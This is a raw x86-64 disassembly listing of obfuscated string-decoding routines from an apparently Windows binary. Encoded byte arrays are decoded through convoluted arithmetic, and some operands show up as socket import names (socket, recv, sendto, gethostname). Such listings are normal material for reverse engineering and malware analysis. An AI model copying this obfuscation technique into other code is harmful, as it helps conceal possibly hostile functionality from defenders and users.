lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14008504a
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008504d
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140085084
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400850b0
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x580], dil
inc r10
jmp 0x1400845c3
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
cmp r8, 0x80
jb 0x140084a13
movzx r11d, r10b
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
mov edx, 0x1a
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140084fb9
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x42
jae 0x140084ee8
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140084dc3
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140084a39
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x140084f0f
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140084ce1
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
jmp 0x140084a75
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400850b0
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x140085084
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008504d
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14008504a
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085028
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
dec r10
inc r10
jmp 0x1400845c3
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400845c3
movzx r11d, r10b
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x140084fb9
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x140084c45
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x140084ac5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084c7f
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
cmp rbx, rcx
jne 0x140084ca7
movzx r11d, r10b
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140085028
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084cc2
lea edx, [r10 - 0x4c]
mov ecx, 0xa
jmp 0x140084ff2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140084ac5
movzx r11d, r10b
lea edx, [r11 + 0x6c]
mov ecx, 6
jmp 0x140084fa8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084d0d
movzx r11d, r10b
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x140084fb9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084d35
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x14008504a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140084d61
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008504d
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140084d89
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x140085084
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140084a80
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084dfd
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084e25
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x1400850b0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140084e51
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008504a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140084e7d
movzx r11d, r10b
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140085028
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140084e98
lea edx, [r10 + 0x40]
mov ecx, 0x20
jmp 0x140084ff2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140084ec9
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
inc r8
dec r10
inc r10
jmp 0x1400845c3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140084a39
movzx r11d, r10b
lea edx, [r11 - 8]
mov ecx, 0x1c
jmp 0x140084fa8
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x580]
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140085028
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x54]
jmp 0x140085084
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008504d
movzx r11d, r10b
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x140085028
lea edx, [r10 - 0x26]
mov ecx, 5
jmp 0x140084ff2
movzx r11d, r10b
lea edx, [r11 + 0x22]
mov ecx, 9
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x7e
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x580], cl
inc r8
dec r10
inc r10
jmp 0x1400845c3
lea edx, [r10 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400845c3
movzx r11d, r10b
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
sub r11b, 0x22
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x12
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x580], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400845c3
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x580], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x580], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x1d
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x580]
add rax, r8
add r10, rax
inc r10
jmp 0x1400845c3
sub r10b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
jmp 0x1400845c0
sub r10b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400845b0
lea rcx, [rbp + 0x1459868]
jmp 0x140085184
lea rcx, [rbp + 0xee2f96]
jmp 0x140085184
lea rcx, [rbp + 0x580]
lea rdx, [0x1401de72e]
call fcn.1400393c0
mov byte [rbp + 0x5b0], 0x25
mov byte [rbp + 0x5b1], 0xcf
mov byte [rbp + 0x5b2], 0xc3
mov byte [rbp + 0x5b3], 0xc1
mov byte [rbp + 0x5b4], 0xc8
mov byte [rbp + 0x5b5], 0xc0
mov byte [rbp + 0x5b6], 6
mov byte [rbp + 0x5b7], 0xd5
mov byte [rbp + 0x5b8], 0xc9
mov byte [rbp + 0x5b9], 0xc0
mov byte [rbp + 0x5ba], 0xc4
mov byte [rbp + 0x5bb], 0xc9
mov byte [rbp + 0x5bc], 0xc3
mov byte [rbp + 0x5bd], 0xfa
mov byte [rbp + 0x5be], select
mov byte [rbp + 0x5bf], 0x29
mov byte [rbp + 0x5c0], 0xf9
mov byte [rbp + 0x5c1], 0xfd
mov byte [rbp + 0x5c2], 0xfe
mov byte [rbp + 0x5c3], 0xf6
mov byte [rbp + 0x5c4], 0xf0
mov byte [rbp + 0x5c5], gethostname
mov byte [rbp + 0x5c6], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x5c7], 0xf8
mov byte [rbp + 0x5c8], 0xc0
mov byte [rbp + 0x5c9], 0x59
xor eax, eax
mov qword [rbp + 0x5ca], rax
mov dword [rbp + 0x5d2], eax
mov word [rbp + 0x5d6], ax
movabs r14, 0xb65dccca4dde1cd0
movabs r12, 0xfc9099882112c9b0
movabs r15, 0x2319665ee99a5670
movzx edi, byte [rsp + 0x50]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x28
jae 0x140085e53
movzx r9d, byte [rbp + r10 + 0x5b0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140085e47
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400852e0
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x50
jmp 0x140085320
je 0x140085dd4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085d45
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140085ce9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085cc1
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140085c77
nop word [rax + rax]
cmp r8, r10
ja 0x140085e3b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14008534e
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140085390
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140085c54
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140085c30
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085c11
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140085bf6
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140085bc5
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400858cd
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400858aa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085889
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140085868
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140085856
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008583b
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008581d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400857fe
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400857e3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400857b2
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140085e1e
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140085e01
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008556a
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14008554f
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140085530
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140085761
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008571c
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400856da
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400856b4
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 5]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140085684
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140085665
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008564a
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008562b
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140085613
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400855f4
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400855cf
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400855ab
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140085589
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x80]
jmp 0x1400853a0
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085390
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140085320
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400852a6
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx r11d, r10b
jmp 0x140085c91
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x140085293
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140085293
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx r11d, r10b
jmp 0x140085d07
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x140085d29
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085d2c
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140085d63
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085d8f
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
mov byte [rbp + r10 + 0x5b0], dil
inc r10
jmp 0x140085293
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x61
jb 0x1400856ca
movzx r11d, r10b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x40]
jmp 0x140085c91
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
cmp rbx, 0x10
jae 0x140085b81
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140085a75
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x1400856f4
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 9
je 0x140085ba9
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x1400859b9
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085732
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140085d8f
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085d63
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140085d2c
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140085d29
movzx r11d, r10b
lea edx, [r11 + 0x40]
mov ecx, 0x20
jmp 0x140085cf6
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x140085293
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140085293
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085c91
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x1400858f1
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
jmp 0x140085770
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008592f
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008595b
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085d63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085989
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x140085293
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008577b
movzx r11d, r10b
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085c91
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400859e5
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140085c91
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085a13
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
dec r10
inc r10
jmp 0x140085293
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085a3b
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140085d2c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140085732
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085ab3
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085adb
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140085d8f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085b06
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140085d63
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140085b25
movzx r11d, r10b
lea edx, [r11 + 0x60]
mov ecx, 0x30
jmp 0x140085cf6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140085b50
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
dec r10
inc r10
jmp 0x140085293
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400856f4
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x140085293
movzx r11d, r10b
lea edx, [r11 + 0x80]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x5b0]
sub dil, al
add dil, 0x80
jmp 0x140085d01
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140085d63
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x140085d63
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085d2c
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x140085293
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085c91
movzx r11d, r10b
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
sub r11b, 0x50
movzx eax, r9b
and al, r11b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x5b0], cl
inc r8
dec r10
inc r10
jmp 0x140085293
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140085293
movzx r11d, r10b
lea edx, [r11 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x50
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x30
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x5b0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140085293
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5b0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x40
add r9b, cl
mov byte [rbp + r10 + 0x5b0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085293
add r10b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
jmp 0x140085290
add r10b, 0x70
